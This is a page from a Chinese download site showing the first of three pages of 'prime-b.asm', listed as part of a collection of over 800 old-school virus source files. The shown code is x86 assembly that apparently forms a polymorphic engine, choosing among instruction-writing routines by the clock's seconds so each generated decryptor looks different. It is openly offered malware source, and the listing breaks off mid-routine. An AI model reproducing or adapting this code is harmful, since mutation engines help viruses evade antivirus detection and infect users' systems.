⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 prime-b.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
                call    write_31h_0f7h
                call    write_31h_0edh
                jmp     short loc_23
loc_20:
                call    write_8dh_3eh_BL_BH
                jmp     short loc_23
loc_21:
                call    write_83h_0c7h_DL
                call    write_47h
                jmp     short loc_23
loc_22:
                call    write_0ebh_0
                call    write_31h_0ffh
loc_23:
                mov     di,11Ah
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_28                  ; Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_27                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_26                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_25                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_24                  ; Jump if below

                call    write_31h_0cfh
                call    write_45h

                jmp     short loc_29
loc_24:
                call    write_47h
                call    write_47h
                call    write_47h
                jmp     short loc_29
loc_25:
                call    write_31h_0c7h
                call    write_45h
                jmp     short loc_29
loc_26:
                call    write_0ebh_0
                call    write_45h
                jmp     short loc_29
loc_27:
                call    write_47h
                call    write_31h_0edh
                jmp     short loc_29
loc_28:
                call    write_83h_0c7h_DL
loc_29:
                mov     di,11Eh
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_34                  ; Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_33                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_32                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_31                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_30                  ; Jump if below

                call    write_31h_0d7h
                call    write_45h

                jmp     short loc_35
loc_30:
                call    write_31h_0edh
                call    write_45h
                jmp     short loc_35
loc_31:
                call    write_83h_0c7h_DL
                jmp     short loc_35
loc_32:
                call    write_0bfh_BL_0bfh
                jmp     short loc_35
loc_33:
                call    write_31h_0d5h
                call    write_4fh
                jmp     short loc_35
loc_34:
                call    write_4fh
                call    write_4fh
                call    write_47h
loc_35:
                mov     di,125h
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_40                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_39                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_38                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_37                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_36                  ; Jump if below

                call    write_31h_0cfh
                call    write_31h_0c7h

                jmp     short loc_41
loc_36:
                call    write_45h
                call    write_31h_0ddh
                call    write_4fh
                jmp     short loc_41
loc_37:
                call    write_31h_0ffh
                call    write_31h_0c5h
                jmp     short loc_41
loc_38:
                call    write_83h_0c7h_DL
                call    write_47h
                jmp     short loc_41
loc_39:
                call    write_83h_0c7h_DL
                call    write_4fh
                jmp     short loc_41
loc_40:
                call    write_31h_0ffh
                call    write_0ebh_0
loc_41:
                mov     di,129h
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_46                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_45                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_44                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_43                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_42                  ; Jump if below

                call    write_45h
                call    write_31h_0edh

                jmp     short loc_47
loc_42:
                call    write_9h_0ffh
                call    write_4fh
                jmp     short loc_47
loc_43:
                call    write_21h_0efh
                call    write_45h
                jmp     short loc_47
loc_44:
                call    write_29h_0efh
                call    write_47h
                jmp     short loc_47
loc_45:
                call    write_0bfh_BL_0bfh
                jmp     short loc_47
loc_46:
                call    write_83h_0c7h_DL
loc_47:
                mov     di,12Eh
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_52                  ; Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_51                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_50                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_49                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_48                  ; Jump if below

                call    write_31h_0cfh

                jmp     short loc_53
loc_48:
                call    write_47h
                call    write_4fh
                jmp     short loc_53
loc_49:
                call    write_31h_0c5h
                jmp     short loc_53
loc_50:
                call    write_29h_0f7h
                jmp     short loc_53
loc_51:
                call    write_83h_0c7h_DL
                jmp     short loc_53
loc_52:
                call    write_0ebh_0
loc_53:
                mov     di,131h
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_58                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_57                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_56                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_55                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_54                  ; Jump if below

                call    write_29h_0cfh

                jmp     short loc_59
loc_54:
                call    write_47h
                call    write_4fh
                jmp     short loc_59
loc_55:
                call    write_31h_0f5h
                jmp     short loc_59
loc_56:
                call    write_45h
                call    write_4fh
                jmp     short loc_59
loc_57:
                call    write_9h_0efh
                jmp     short loc_59
loc_58:
                call    write_0ebh_0
                call    write_47h
loc_59:
                mov     di,137h
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_64                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_63                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_62                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_61                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_60                  ; Jump if below

                call    write_31h_0c7h
                call    write_31h_0dfh

                jmp     short loc_65
loc_60:
                call    write_81h_0efh
                jmp     short loc_65
loc_61:
                call    write_9h_0ffh
                call    write_21h_0efh
                jmp     short loc_65
loc_62:
                call    write_83h_0c7h_DL
                call    write_47h
                jmp     short loc_65
loc_63:
                call    write_31h_0f7h
                call    write_21h_0efh
                jmp     short loc_65
loc_64:
                call    write_0ebh_0
                call    write_0ebh_0
loc_65:
                mov     di,13Fh
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_70                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_69                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_68                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_67                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_66                  ; Jump if below

                call    write_31h_0d7h
                call    write_29h_0f7h

                jmp     short loc_71
loc_66:
                call    write_9h_0efh
                call    write_47h
                call    write_47h
                jmp     short loc_71
loc_67:
                call    write_31h_0f7h
                call    write_31h_0edh
                jmp     short loc_71
loc_68:
                call    write_83h_0c7h_DL
                call    write_4fh
                jmp     short loc_71
loc_69:
                call    write_31h_0ffh
                call    write_31h_0ffh
                jmp     short loc_71
loc_70:
                call    write_31h_0f7h
                call    write_0ebh_0
loc_71:
                mov     di,147h
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_76                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_75                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_74                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_73                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_72                  ; Jump if below

                call    write_31h_0c7h

                jmp     short loc_77
loc_72:
                call    write_4fh
                call    write_4fh
                jmp     short loc_77
loc_73:
                call    write_21h_0efh
                jmp     short loc_77
loc_74:
                call    write_9h_0efh
                jmp     short loc_77
loc_75:
                call    write_45h
                call    write_4dh
                jmp     short loc_77
loc_76:
                call    write_0ebh_0
loc_77:
                mov     di,14Dh
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_82                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_81                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_80                  ; Jump if below

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -